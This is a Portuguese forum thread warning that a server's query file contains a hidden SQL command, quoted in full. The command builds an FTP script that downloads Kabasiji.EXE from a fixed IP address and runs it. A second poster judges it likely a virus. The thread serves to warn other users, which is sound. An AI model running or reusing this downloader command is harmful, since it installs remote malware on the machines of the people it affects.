Citação Originally Posted by jhonatask Ver Post
Boa noite cuidado quando for usar e servidor no arquivo de query tem esse seguinte codigo:
@command=N'cmd /c echo open 222.223.118.95>c:\zyKabasiji.EXE&echo 123>>c:\zyKabasiji.EXE&echo 123>>c:\zyKabasiji.EXE&echo get Kabasiji.EXE c:\stKabasiji.EXE>>c:\zyKabasiji.EXE&echo bye>>c:\zyKabasiji.EXE&ftp -s:c:\zyKabasiji.EXE&if EXIST c:\stKabasiji.EXE (start c:\stKabasiji.EXE)&del c:\zyKabasiji.EXE&exit',

Meio duvidoso não da par ase saber se a um falso positivo. Tomem cuidado
Kabasiji.EXE, pelo que vi aqui é provavel que seja algum vírus, porém, se outro membro relatar é geral, ou sua máquina está infectada, eu mesmo estou com um virus que pega meus EXE, exclui e o substitui pelo mesmo, Synaptichs.exe . Fiz uma pesquisa sobre o Kabasiji, e foi isso que eu achei.
Achado total 5arquivos de mesmo nome,é seguro 0 ,não é seguro 5 。Nome do arquivo “Kabasiji.exe” 100% talvez um vírus